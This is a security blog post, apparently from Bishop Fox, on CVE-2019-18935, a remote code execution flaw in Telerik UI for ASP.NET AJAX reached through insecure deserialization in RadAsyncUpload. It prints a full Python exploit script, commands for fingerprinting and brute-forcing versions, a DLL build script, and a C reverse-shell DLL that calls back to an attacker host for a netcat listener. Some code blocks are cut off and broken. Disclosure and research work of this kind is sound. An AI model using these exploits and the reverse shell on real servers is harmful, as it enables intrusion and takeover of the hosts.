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CVE-2019-18935: Remote Code Execution via Insecure Deserialization in Telerik UI

Cartoon hacker finding remote code execution in Telerik UI


All code references in this post are also available in the CVE-2019-18935 GitHub repo.

Telerik UI for ASP.NET AJAX is a widely used suite of UI components for web applications. It insecurely deserializes JSON objects in a manner that results in arbitrary remote code execution on the software's underlying host. The Managed Security Services (MSS) team at Bishop Fox has identified and exploited internet-facing instances of Telerik UI affected by this vulnerability for our clients. Since Telerik has just responded to this issue by releasing a security advisory for CVE-2019-18935, we're sharing our knowledge about it here in an effort to raise awareness about the severity of this vulnerability, and to encourage affected users to patch and securely configure this software. Patching instructions are included at the end of this post.

Thanks to Markus Wulftange (@mwulftange) of Code White GmbH for initially discovering this insecure deserialization vulnerability and for summarizing his research. Thanks also to Paul Taylor (@bao7uo) who, after authoring an exploit to break encryption for an unrestricted file upload vulnerability, developed an extended custom payload feature that was instrumental in triggering this deserialization vulnerability.

All code references in this post are also available in the CVE-2019-18935 GitHub repo.

UPDATE: Caleb presented on this topic at 2020 DerpCon, which you can watch below.

Vulnerability Details

The following sections will walk through two vulnerabilities in RadAsyncUpload, which is a file handler in Telerik UI for ASP.NET AJAX that enables uploading files asynchronously (i.e., without reloading the existing page). After covering the context of those two CVEs, we’ll dive deeper into the insecure deserialization vulnerability to learn if it affects your system, how the exploit works, and how you can patch systems against this vulnerability.

Overview of Vulnerabilities in RadAsyncUpload

RadAsyncUpload has previously been the subject of a number of vulnerabilities, including CVE-2014-2217, which is a path traversal vulnerability in the handler's file upload POST requests that results in unrestricted file upload. (Don't confuse it with CVE-2017-11317, which also yields unrestricted file upload, but through a different vector…more on that shortly.)

CVE-2014-2217 is outside of the scope of this post, but it's important that we mention it here, since Telerik responded to this issue by encrypting a particular portion of file upload requests to prevent attackers from tampering with sensitive settings. Specifically, Telerik encrypted the rauPostData POST parameter, which contains a serialized object that holds configuration details about how the file should be handled (e.g., the destination directory on the web server where the file should be uploaded). If attackers were able to break the encryption protecting the configuration object in rauPostData, they could:

  • Modify the configuration to allow file uploading anywhere they like on the target web server. This issue (CVE-2017-11317) is a well-known vulnerability and has already been reported on.
  • Modify the type of the object in rauPostData, allowing them to control the object's behavior while it's being deserialized. This issue (CVE-2019-18935) is the main subject of this post.

In summary, in order to exploit insecure deserialization (CVE-2019-18935) in this file handler, we must first break the encryption that the handler uses to protect file upload POST requests (CVE-2017-11317).

CVE-2017-11317 - Unrestricted File Upload via Weak Encryption

Until R2 2017 SP1 (v2017.2.621), RadAsyncUpload's AsyncUploadHandler was configured with a hard-coded key that was used to encrypt form data in file upload requests. If this encryption key was not changed from its default value of PrivateKeyForEncryptionOfRadAsyncUploadConfiguration, an attacker could use that key to craft a file upload request to /Telerik.Web.Ui.WebResource.axd?type=rau with a custom encrypted rauPostData POST parameter. If an attacker specified an arbitrary value for the TempTargetFolder variable within the encrypted rauPostData POST parameter, it would effectively allow file uploads to any directory where the web server had write permissions. Please refer to @straightblast's write-up for a detailed breakdown of rauPostData's structure (and of this vulnerability in general), and Telerik's security advisory for how this vulnerability was remediated.

CVE-2019-18935 - Remote Code Execution via Insecure Deserialization

Even though the unrestricted file upload vulnerability had been extensively discussed since its discovery in 2017, Markus Wulftange took a closer look at the way RadAsyncUpload processed the rauPostData parameter in file upload requests in early 2019. He noted that rauPostData contains both the serialized configuration object and the object's type. AsyncUploadHandler uses the type specified within rauPostData to prepare .NET's JavaScriptSerializer.Deserialize() method to properly deserialize the object.

During deserialization, JavaScriptSerializer calls setter methods for the specified object type. If this type is controlled by an attacker, this can lead to a dangerous scenario where the attacker may specify the type to be a gadget. A gadget is a class within the executing scope of the application that, as a side effect of being instantiated and modified via setters or field assignment, has special properties that make it useful during deserialization. A remote code execution (RCE) gadget's properties allow it to perform operations that facilitate executing arbitrary code.

Rather than submitting the usual expected Telerik.Web.UI.AsyncUploadConfiguration type within rauPostData, an attacker can submit a file upload POST request specifying the type as an RCE gadget instead. After using the aforementioned unrestricted file upload vulnerability to upload a malicious mixed mode assembly DLL, an attacker may follow up with a second request to force JavaScriptSerializer to deserialize an object of type <a href="https://docs.microsoft.com/en-us/dotnet/api/system.configuration.install.assemblyinstaller?view=netframework-4.8" target="_blank" rel="noreferrer noopener">System.Configuration.Install.AssemblyInstaller</a>. When deserialized along with an attacker-supplied path property pointing to the uploaded DLL, this will cause the application to load the DLL into its current domain. As long as the mixed mode assembly DLL is of the same architecture as the loading process, its entry-point function DDLMain() will be called when the DLL is loaded. For more details, please refer to Implications of Loading .NET Assemblies and Friday the 13th JSON Attacks.

OK, What's a Mixed Mode Assembly?

According to MSDN, a mixed mode assembly contains "both unmanaged machine instructions and [CIL] instructions." If you're unfamiliar with the .NET framework, then these terms may not mean anything to you. Let's break these down a bit, starting with a useful description from Wikipedia about how programs execute when developed in .NET:

Programs written for .NET Framework execute in a software environment (in contrast to a hardware environment) named the Common Language Runtime (CLR). The CLR is an application virtual machine that provides services such as security, memory management, and exception handling. As such, computer code written using .NET Framework is called "managed code."

So, "managed" code is written to run exclusively under the CLR, a layer that wraps native compiled code to prevent some common problems (e.g., buffer overflows) and abstract away some platform-specific implementation details to make code more portable. C# is often considered a managed language as it's typically compiled to CIL (Common Intermediate Language—a platform-independent language between source code and final native machine code) to be run under the CLR. CIL, in turn, is compiled into native code by a just-in-time compiler within the CLR. Conversely, code that does not target the CLR is known as "unmanaged" code (e.g., your average C program).

An assembly is a package containing precompiled CIL code that can be executed in the CLR. It is the most fundamental unit of deployment for a .NET application, and can be implemented as an EXE or DLL file. An assembly also contains a manifest that details, among other things, metadata about the assembly's name and version. For further reading, check out this article about injecting .NET assemblies which provides a useful .NET primer, and a related article on mixed assemblies.

CVE-2019-18935 Exploit Details

Now with our background knowledge of the prerequisite unrestricted file upload vulnerability (CVE-2017-11317), the deserialization vulnerability itself, and mixed mode assemblies, we can now explore this exploit step by step.

Identify Software Version

Before attempting to exploit Telerik UI for ASP.NET AJAX, confirm first that the file upload handler is registered:

curl -sk <HOST>/Telerik.Web.UI.WebResource.axd?type=rau
{ "message" : "RadAsyncUpload handler is registered successfully, however, it may not be accessed directly." }

Additionally, you’ll need to confirm that the web application is using a vulnerable version of this software. Conveniently, Telerik publishes a release history that details all major software versions since April 2007.

Without Authentication

If the application using RadAsyncUpload does not require authentication, then you can usually find the UI version buried somewhere in the HTML source of the application's home page. The location of the version string isn't consistent, though, so the best method of locating it is to use Burp to search for the regular expression 20[0-9]{2}(\.[0-9]*)+ (and make sure you check the "Regex" box). You can also accomplish this with cURL:

curl -skL <HOST> | grep -oE '20[0-9]{2}(\.[0-9]*)+'

If that doesn't work, you can alternatively search for the string <script src="/WebResource to identify any JavaScript files that are included in the site's home page. Choose one of the static resources there and examine its Last-Modified date in the HTTP response header; that date should roughly match the release date of the software. For example, a JavaScript resource bundled with UI for ASP.NET AJAX Q1 2013 (v2013.1.220, released on February 20, 2013) will read Last-Modified: Wed, 20 Feb 2013 00:00:00 GMT in the HTTP response header for that file.

With Authentication

If the application does require authentication, then you may be able to determine the software version via brute force. Since uploading a file with RadAsyncUpload requires providing the correct version of Telerik UI, you can use Paul Taylor’s RAU_crypto exploit to submit file upload requests with known-vulnerable versions until you find one that works:

echo 'test' > testfile.txt 
for VERSION in 2007.1423 2007.1521 2007.1626 2007.2918 2007.21010 2007.21107 2007.31218 2007.31314 2007.31425 2008.1415 2008.1515 2008.1619 2008.2723 2008.2826 2008.21001 2008.31105 2008.31125 2008.31314 2009.1311 2009.1402 2009.1527 2009.2701 2009.2826 2009.31103 2009.31208 2009.31314 2010.1309 2010.1415 2010.1519 2010.2713 2010.2826 2010.2929 2010.31109 2010.31215 2010.31317 2011.1315 2011.1413 2011.1519 2011.2712 2011.2915 2011.31115 2011.3.1305 2012.1.215 2012.1.411 2012.2.607 2012.2.724 2012.2.912 2012.3.1016 2012.3.1205 2012.3.1308 2013.1.220 2013.1.403 2013.1.417 2013.2.611 2013.2.717 2013.3.1015 2013.3.1114 2013.3.1324 2014.1.225 2014.1.403 2014.2.618 2014.2.724 2014.3.1024 2015.1.204 2015.1.225 2015.2.604 2015.2.623 2015.2.729 2015.2.826 2015.3.930 2015.3.1111 2016.1.113 2016.1.225 2016.2.504 2016.2.607 2016.3.914 2016.3.1018 2016.3.1027 2017.1.118 2017.1.228 2017.2.503 2017.2.621 2017.2.711 2017.3.913; do     
    echo -n "$VERSION: "     
    python3 RAU_crypto.py -P 'C:\Windows\Temp' "$VERSION" testfile.txt <HOST>/Telerik.Web.UI.WebResource.axd?type=rau 2>/dev/null | grep fileInfo || echo done

When the file upload succeeds, you'll see a JSON response containing some encrypted data about the uploaded file:

{"fileInfo":{"FileName":"<NAME>","ContentType":"text/html","ContentLength":<LENGTH>,"DateJson":"<DATE>","Index":0}, "metaData":"VGhpcyBpc24ndCByZWFsIGRhdGEsIGJ1dCB0aGUgQmFzZTY0LWVuY29kZWQgZGF0YSBsb29rcyBqdXN0IGxpa2UgdGhpcy4=" }

Now that you’ve verified that the handler is registered and the software is using a vulnerable version, you can proceed to exploit the vulnerability.

Verify Deserialization Vulnerability with Sleep()

In preparing to fully compromise a remote host with a reverse shell, you can initially verify the deserialization vulnerability by uploading and loading a simple mixed mode assembly DLL that causes the web application to sleep for 10 seconds. A simple program, sleep.c, will do just that.

Note that I use C, rather than C++, because I've encountered rare occasions where I was unable to execute compiled C++ code on a remote server. I suspect that this is because the target environment did not have the Microsoft Visual C++ Redistributable installed.


#include <windows.h>
#include <stdio.h>

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
<b>    if</b> (fdwReason == DLL_PROCESS_ATTACH)
<b>        Sleep</b>(10000);  // Time interval in milliseconds.
<b>    return</b> TRUE;

Create a bare C# class in empty.cs to constitute the managed portion of your mixed mode assembly:

<b>class</b> Empty {}

Then, in a Windows environment with Visual Studio installed, open a command prompt and run build_dll.bat sleep.c: build_dll.bat

@echo off

set PROGRAM=%1

for /f "tokens=2-4 delims=/ " %%a in ("%DATE%") do (
    set YYYY=%%c
    set MM=%%a
    set DD=%%b
for /f "tokens=1-4 delims=/:." %%a in ("%TIME: =0%") do (
    set HH=%%a
    set MI=%%b
    set SS=%%c
    set FF=%%d

@echo on

for %%a in (x86 amd64) do (
    call "C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Auxiliary\Build\vcvarsall.bat" %%a
    csc /target:module empty.cs
    cl /c %PROGRAM%
    link /DLL /LTCG /CLRIMAGETYPE:IJW /out:%BASENAME%_%DATETIME%_%%a.dll %BASENAME%.obj empty.netmodule
    del %BASENAME%.obj empty.netmodule

This batch script accomplishes the following:

  • Sets environment variables to compile both 32- and 64-bit code
  • Compiles the empty.cs C# program as a .netmodule file (without generating an assembly)
  • Compiles the specified C program (sleep.c, in this case) as an .obj file (without linking)
  • Links the compiled .netmodule and .obj files, which creates a mixed mode assembly DLL with a unique name

A Cautionary Note About Assembly Names

The assembly's name as specified in link /out is baked into the assembly's manifest, and will persist even if the file name changes on disk. It's crucial that the assembly is uniquely named at linking time since a .NET application will only load an assembly once with a given name. This means that an assembly "sleep_123.dll" may cause the application to sleep the first time that DLL is loaded through deserialization, but it certainly won't successfully load again; you'll need to rerun build_dll.bat to generate a new assembly for each exploit attempt on the same server.

Before uploading the DLL, it's important to understand what's going to happen on disk on the remote server. RadAsyncUpload will upload your file to a temporary directory whose location is under your control. If you happen to upload two files with the same name (we're talking about file names on disk, not assembly names in a manifest), RadAsyncUpload will append (not overwrite!) the new file to the old one. If the application attempts to load the resulting malformed DLL, it can cause the application to crash—so it's extremely important that you use a unique file name each time you upload a file to the target.


The following exploit script leverages the core RadAsyncUpload encryption logic provided by Paul Taylor's RAU_crypto.py to craft an encrypted rauPostData POST parameter; this enables access to the vulnerable AsyncUploadHandler class through which we can upload files and deserialize arbitrary object types. This script also ensures that each uploaded file has a unique name on disk.


#!/usr/bin/env python3

# Import arbitrary file upload functionality.
from sys import path
path.insert(1, 'RAU_crypto')
from RAU_crypto import RAUCipher

from argparse import ArgumentParser
from json import dumps, loads
from os.path import basename, splitext
from pprint import pprint
from requests import post
from requests.packages.urllib3 import disable_warnings
from sys import stderr
from time import time
from urllib3.exceptions import InsecureRequestWarning


def send_request(files):
    response = post(url, files=files, verify=False)
        result = loads(response.text)
        result['metaData'] = loads(RAUCipher.decrypt(result['metaData']))

def build_raupostdata(object, type):
    return RAUCipher.encrypt(dumps(object)) + '&' + RAUCipher.encrypt(type)

def upload():

    # Build rauPostData.
    object = {
        'TargetFolder': RAUCipher.addHmac(RAUCipher.encrypt(''), version),
        'TempTargetFolder': RAUCipher.addHmac(RAUCipher.encrypt(temp_target_folder), version),
        'MaxFileSize': 0,
        'TimeToLive': { 
            'Ticks': 1440000000000,
            'Days': 0,
            'Hours': 40,
            'Minutes': 0,
            'Seconds': 0,
            'Milliseconds': 0,
            'TotalDays': 1.6666666666666666,
            'TotalHours': 40,
            'TotalMinutes': 2400,
            'TotalSeconds': 144000,
            'TotalMilliseconds': 144000000
        'UseApplicationPoolImpersonation': False
    type = 'Telerik.Web.UI.AsyncUploadConfiguration, Telerik.Web.UI, Version=' + version + ', Culture=neutral, PublicKeyToken=121fae78165ba3d4'
    raupostdata = build_raupostdata(object, type)
    with open(filename_local, 'rb') as f:
        payload = f.read()
    metadata = {
        'TotalChunks': 1,
        'ChunkIndex': 0,
        'TotalFileSize': 1,
        'UploadID': filename_remote  # Determines remote filename on disk.
    # Build multipart form data.
    files = {
        'rauPostData': (None, raupostdata),
        'file': (filename_remote, payload, 'application/octet-stream'),
        'fileName': (None, filename_remote),
        'contentType': (None, 'application/octet-stream'),
        'lastModifiedDate': (None, '1970-01-01T00:00:00.000Z'),
        'metadata': (None, dumps(metadata))
    # Send request.
    print('[*] Local payload name: ', filename_local, file=stderr)
    print('[*] Destination folder: ', temp_target_folder, file=stderr)
    print('[*] Remote payload name:', filename_remote, file=stderr)

def deserialize():

    # Build rauPostData.
    object = {
        'Path': 'file:///' + temp_target_folder.replace('\\', '/') + '/' + filename_remote
    type = 'System.Configuration.Install.AssemblyInstaller, System.Configuration.Install, Version=, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a'
    raupostdata = build_raupostdata(object, type)
    # Build multipart form data.
    files = {
        'rauPostData': (None, raupostdata),  # Only need this now.
        '': ''  # One extra input is required for the page to process the request.
    # Send request.
    print('\n[*] Triggering deserialization...\n', file=stderr)
    start = time()
    end = time()
    print('\n[*] Response time:', round(end - start, 2), 'seconds', file=stderr)

if __name__ == '__main__':
    parser = ArgumentParser(description='Exploit deserialization vulnerability in Telerik UI for ASP.NET AJAX.')
    parser.add_argument('-v', dest='version', required=True, help='software version')
    parser.add_argument('-p', dest='payload', required=True, help='mixed mode assembly DLL')
    parser.add_argument('-f', dest='folder', required=True, help='destination folder on target')
    parser.add_argument('-t', dest='test_upload', action='store_true', help="just test upload, don't exploit deserialization vuln")
    parser.add_argument('-u', dest='url', required=True, help='https:///Telerik.Web.UI.WebResource.axd?type=rau')
    args = parser.parse_args()

    temp_target_folder = args.folder.replace('/', '\\')
    version = args.version
    filename_local = args.payload
    filename_remote = str(time()) + splitext(basename(filename_local))[1]
    url = args.url


    if not args.test_upload:

Without being able to remotely determine the architecture of the web server's underlying host, you may need to attempt to trigger this vulnerability with both the 32- and 64-bit DLL versions until you find one that works. Invoke the script as follows:

python3 CVE-2019-18935.py -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau -v <VERSION> -f 'C:\Windows\Temp' -p sleep_2019121205271355_x86.dll

[*] Local payload name:  sleep_2019121205271355_x86.dll
[*] Destination folder:  C:\Windows\Temp
[*] Remote payload name: 1576142987.918625.dll

{'fileInfo': {'ContentLength': 75264,
              'ContentType': 'application/octet-stream',
              'DateJson': '1970-01-01T00:00:00.000Z',
              'FileName': '1576142987.918625.dll',
              'Index': 0},
 'metaData': {'AsyncUploadTypeName': 'Telerik.Web.UI.UploadedFileInfo, '
                                     'Telerik.Web.UI, Version=<VERSION>, '
                                     'Culture=neutral, '
              'TempFileName': '1576142987.918625.dll'}}

[*] Triggering deserialization...

<title>Runtime Error</title>
<span><H1>Server Error in '/' Application.<hr width=100% size=1 color=silver></H1>
<h2> <i>Runtime Error</i> </h2></span>
...omitted for brevity...

[*] Response time: 13.01 seconds

If the application pauses for approximately 10 seconds before responding, you've got a working deserialization exploit!

Exploit with Reverse Shell

Now that we've verified that we can exploit this vulnerable version of Telerik UI for ASP.NET AJAX, we can instead exploit it with a DLL that spawns a reverse shell to connect back to a server that we control. We use rev_shell.c below, a program that launches a reverse shell as a thread when the DLL is loaded; the threaded nature of this program prevents the shell process from blocking the web application's user interface while running: rev_shell.c

#include <winsock2.h>
#include <stdio.h>
#include <windows.h>

#pragma comment(lib, "ws2_32")

#define HOST "<HOST>"
#define PORT <PORT>

WSADATA wsaData;
SOCKET Winsock;
struct sockaddr_in hax;
char aip_addr[16];
STARTUPINFO ini_processo;

// Adapted from https://github.com/infoskirmish/Window-Tools/blob/master/Simple%20Reverse%20Shell/shell.c
void ReverseShell()
    WSAStartup(MAKEWORD(2, 2), &wsaData);

    struct hostent *host = gethostbyname(HOST);
    strcpy(aip_addr, inet_ntoa(*((struct in_addr *)host->h_addr)));

    hax.sin_family = AF_INET;
    hax.sin_port = htons(PORT);
    hax.sin_addr.s_addr = inet_addr(aip_addr);

    WSAConnect(Winsock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);
    if (WSAGetLastError() == 0) {

        memset(&ini_processo, 0, sizeof(ini_processo));

        ini_processo.cb = sizeof(ini_processo);
        ini_processo.dwFlags = STARTF_USESTDHANDLES;
        ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;

        char *myArray[4] = { "cm", "d.e", "x", "e" };
        char command[8] = "";
        snprintf(command, sizeof(command), "%s%s%s%s", myArray[0], myArray[1], myArray[2], myArray[3]);
        CreateProcess(NULL, command, NULL, NULL, TRUE, 0, NULL, NULL, &ini_processo, &processo_info);

    return 0;

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) 
    HANDLE hThread;

    if (fdwReason == DLL_PROCESS_ATTACH)
        hThread = CreateThread(0, 0, MainThread, 0, 0, 0);

    return TRUE;

Modify rev_shell.c with the hostname and port of the C2 server where you'll be listening for a callback:

sed -i .bu 's/<HOST>/<HOST>/; s/<PORT>/<PORT>/' rev_shell.c

Using the same method of compiling and linking described above, generate your mixed mode assembly DLL:

build_dll.bat rev_shell.c

Open a Netcat listener to catch the callback:

sudo ncat -lvp <PORT>

Then upload and load your DLL!

python3 CVE-2019-18935.py -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau -v <VERSION> -f 'C:\Windows\Temp' -p rev_shell_2019121205271355_x86.dll

How to Patch

The Telerik security advisory tells you what you need to know, but we’ll repeat the most important parts here:


This write-up has demonstrated how an attacker can chain exploits for unrestricted file upload (CVE-2017-11317) and insecure deserialization (CVE-2019-18935) vulnerabilities to execute arbitrary code on a remote machine.

In recent years, insecure deserialization has emerged as an effective attack vector for executing arbitrary code in object-oriented programming frameworks. As we continue to identify and understand this class of vulnerabilities, it’s important that vendors and users employ timely communication to combat the risk posed by vulnerable software. Now that Telerik has released a patch and security advisory for this vulnerability, affected users should do their part by updating and securely configuring their applications.

Big thanks again to Markus Wulftange (@mwulftange) and Paul Taylor (@bao7uo), both of whom paved the way for this work through their prior research.

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About the author, Caleb Gross

Senior Security Engineer

Caleb Gross is a Senior Security Engineer at Bishop Fox, where he works as a technical lead for the Cosmos, formerly CAST Managed Security Service. Prior to coming to Bishop Fox, he served as an exploitation operator in the US Department of Defense's most elite computer network exploitation (CNE) unit. As a top-rated military officer, Caleb led an offensive operations team in the US Air Force's premier selectively manned cyber attack squadron.
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